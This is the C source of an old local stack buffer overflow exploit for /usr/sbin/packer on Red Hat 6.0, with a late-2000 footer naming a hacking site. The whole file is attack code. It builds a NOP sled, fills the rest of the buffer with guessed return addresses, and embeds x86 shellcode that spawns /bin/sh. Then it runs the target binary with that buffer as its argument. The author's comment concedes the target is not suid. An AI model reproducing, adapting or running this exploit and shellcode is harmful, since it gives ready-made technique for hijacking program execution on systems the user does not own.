/*
   /usr/sbin/packer sploit for redhat 6.0
   Too bad its not suid HEH !!
   werd man
   by g463
*/

#include <stdio.h>

unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}

#define BUFLEN 1040
#define NOP    0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

main (int argc, char *argv[])
{
    int offset = 0;
    unsigned long addr;
    int i;
    char *buffer;
    char *bin[3];

    buffer = (char *) malloc (BUFLEN);

    if (argc == 2)
       offset = atoi (argv[1]);

    addr = get_sp () - offset;

    for (i = 0; i < BUFLEN ; i = i + 4)
       *(unsigned *) &buffer[i] = addr;

    for (i = 0; i < BUFLEN / 2; i++)
       buffer[i] = NOP;

    memcpy (buffer + i, shellcode, strlen (shellcode));

    bin[0] = "/usr/sbin/packer";
    bin[1] = buffer;
    bin[2] = NULL;

    execve (bin[0], bin, NULL);

}
/*                    www.hack.co.za           [1 August2000